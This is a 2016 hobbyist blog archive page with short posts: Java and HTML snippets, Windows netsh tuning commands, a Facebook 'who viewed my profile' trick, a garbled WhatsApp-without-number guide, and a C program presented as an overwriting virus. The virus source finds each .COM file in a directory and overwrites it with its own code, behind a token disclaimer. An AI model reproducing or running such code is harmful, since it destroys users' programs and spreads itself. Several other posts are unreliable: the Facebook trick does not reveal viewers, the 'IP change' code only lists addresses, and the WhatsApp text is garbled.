Thursday, 26 May 2016

IP Change In Every 5 minute Code in Java


import java.net.*;

class IPChangeEveryMinute{
    public static void main(String[] args) {
        getIPAddresses();
    }

        public static void getIPAddresses() {
                try {
                        InetAddress in = InetAddress.getLocalHost();
                        InetAddress[] x= InetAddress.getAllByName(in.getHostName());
                        for (int i = 0; i < x.length; i++) {
                                System.out.println(x[i].getHostAddress());
                        }
                } catch (Exception e) {
                        e.printStackTrace();
                }
        }
}

Friday, 20 May 2016

Internet Speed Up Using Cmd

1.Press Windows Key
2.Search Box Type "cmd run as administrator" Press Enter
3.Type Following Commands

  • Netsh int tcp show global   press enter key.
  • Netsh int tcp set chimney=enabled   press enter key.
  • Netsh int tcp set global autotuninglevel=normal   press enter key .
  • Netsh int set global congestionprovider=ctcp   press enter key.


Thursday, 19 May 2016

overwriting virus programmed in C Language

#include <stdio.h>
  #include <dos.h>
    #include <dir.h>
     #include<conio.h>

    FILE *Virus,*Host;
    int x,y,done;
    char buff[256];
    struct ffblk ffblk;

    main()
    {
     done = findfirst("*.COM",&ffblk,0);   /* Find a .COM file */
       while (!done)               /* Loop for all COM's in DIR*/
        {
        printf("Infecting  %s\n", ffblk.ff_name);    /* Inform user */
        Virus=fopen(_argv[0],"rb");          /* Open infected file  */
        Host=fopen(ffblk.ff_name,"rb+");     /* Open new host file  */

        x=9504;                               /* Virus size - must   */
                                              /* be correct for the  */
                                              /* compiler it is made */
                                              /* on, otherwise the   */
                                              /* entire virus may not*/
                                              /* be copied!!         */
        while (x>256)                         /* OVERWRITE new Host  */
            {                                 /* Read/Write 256 byte */
            fread(buff,256,1,Virus);          /* chunks until bytes  */
            fwrite(buff,256,1,Host);          /* left < 256          */
            x-=256;
            }
        fread(buff,x,1,Virus);                /* Finish off copy     */
        fwrite(buff,x,1,Host);
        fcloseall();                          /* Close both files and*/
        done = findnext(&ffblk);              /* go for another one. */
        }
                                              /* Activation would go */
                                              /* here                */
      return (0);                             /* Terminate           */
    }
note:
*friends this program is only information and knowledge   purpose.
any issue not Responsible admin.

Tuesday, 17 May 2016

Who View my Profile Facebook





1. Go to your profile
2.View Source page

3.Press ctrl+f
4.Search for {"list"
5.copy number ex:10000000000000
6.goto facebook/ 10000000000000
7.view your friends profile this view your profile 


Monday, 16 May 2016

Install WhatsApp Without Mobile Number

Step1:

Be connected your device Via Wi-Fi or modem to the on-line to it you just ought to install WhatApp. And also visit the official web site of WhatsApp By simply click here and get WhatsApp Application. Right after transfer Set up it to your contrivance.

Step2:

Just once the installation of WhatsApp Application you’ll read a WhatsApp welcome show screen. Then simply click on agree terms and conditions. Displayed under in screenshot.

Step3:

 Just once “Step # 2″ it is progressing to raise you to substantiate the mobile variety. Now kind in the itinerant variety that we’re progressing to mention in “Note” section over and click on ok. Now the verification area unit unsuccessful however you would possibly get a verification code shortly to verify.Which means that that this can be the trick here.


Please note: Wait around for 10-15 minite to get confirmation code. So be patient. If you receive the Text American statessage then simply click on decision me to ensure. Just a decision from WhatsApp arrived to your smartphone and following that verify the code. Which is end currently you will gain access to whatsApp on smartphone with none mobile variety.

ADD Image In HTML

<html>
<body>

<h2>MY IMAGE</h2>
<img src="myimage.jpg" alt="MY IMAGE" style="width:245px;height:200px;">

</body>
</html>

Monday, 9 May 2016

MVC Program In Java

calc.html

<html>
    <body>
    <form action="ac">
    First Value
    <input type="text" name="fv"><br>
    Second Value
    <input type="text" name="sv"><br>
    <input type="submit" name="check" value="Check"/>
    <br>
    <input type="radio" name="Ath" value="add">ADD<br>
    <input type="radio" name="Ath" value="sub">SUB<br>
    <input type="radio" name="Ath" value="mul">MUL<br>
    <input type="radio" name="Ath" value="div">DIV<br>
    </form>
    </body>   
</html>








ArrithBeanDemo.java

package mybean;
public class ArrithBeanDemo
{
    int fv,sv;
    public void setFvalue(int fv)
    {
        this.fv=fv;
    }
    public void setSvalue(int sv)
    {
        this.sv=sv;
    }
    public int getFvalue()
    {
        return fv;
    }
    public int getSvalue()
    {
        return sv;
    }
}


ArrithControal.java
package controal;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import model.*;

public class ArrithControal extends HttpServlet
{
    public void doGet(HttpServletRequest req,HttpServletResponse res)throws ServletException,IOException
    {
        int a=0;
        int fv= Integer.parseInt(req.getParameter("fv"));
        int sv= Integer.parseInt(req.getParameter("sv"));
        String add= req.getParameter("Ath");   
        ArrithModel am= new ArrithModel(fv,sv);
        if(add.equals("add"))
        {
             a=am.Add();
        }
        else if(add.equals("sub"))
        {
            a=am.Sub();
        }
        else if(add.equals("mul"))
        {
            a=am.Mul();
        }
        else if(add.equals("div"))
        {
            a=am.Div();
        }
       
       
        req.setAttribute("key",a);
        RequestDispatcher rd=req.getRequestDispatcher("/WEB-INF/result.jsp");
        rd.forward(req,res);
    }
}



ExamResultBean.java


package mybean;
public class ExamResultBean
{
    String fn="";
    int en,mis,fon,dc,or,wtad,tot,per;
   
    String s="";
    public String result(int s1,int s2,int s3,int s4,int s5)
    {
        tot=s1+s2+s3+s4+s5;
        per=(tot/5)*100;
        if(s1<35 && s2<35 && s3<35 && s4<35 && s5<35)
        {
             return "You Are fail ";
        }
        else if(per>35 && per<=50)
        { 
            return "Yor are Pass  ";
        }
        else if(per>50 && per<=60)
        {
            return "Yor are get  Second class  ";
        }
        else if(per>60 && per<=70)
        {
            return "Yor are get  First class  ";
        }
        else
        {
            return "Yor are get  Distriction  ";
        }
    }
   
   
    public void setEno(int en)
    {
        this.en=en;
    }
    public int getEno()
    {
        return en;
    }
   
    public void setFname(String fn)
    {
        this.fn=fn;
    }
    public String getFname()
    {
        return fn;
    }
   
    public void setSubfon(int fon)
    {
        this.fon=fon;
    }
    public int getSubfon()
    {
        return fon;
    }
   
    public void setSubor(int or)
    {
        this.or=or;
    }
    public int getSubor()
    {
        return or;
    }
   
    public void setSubmis(int mis)
    {
        this.mis=mis;
    }
    public int getSubmis()
    {
        return mis;
    }
   
    public void setSubdc(int dc)
    {
        this.dc=dc;
    }
    public int getSubdc()
    {
        return dc;
    }
   
    public void setSubwtad(int wtad)
    {
        this.wtad=wtad;
    }
    public int getSubwtad()
    {
        return wtad;
    }
}

result.jsp

<%
    int a=(int)request.getAttribute("key");
    out.print(a);
%>

web.xml

 <?xml version="1.0" encoding="ISO-8859-1"?>


<web-app xmlns="http://java.sun.com/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
                      http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
  version="3.0"
  metadata-complete="true">
 <servlet>
      <servlet-name>ArrithControal</servlet-name>
      <servlet-class>controal.ArrithControal</servlet-class>
    </servlet>
 
    <servlet-mapping>
        <servlet-name>ArrithControal</servlet-name>
        <url-pattern>/ac</url-pattern>
    </servlet-mapping>

</web-app>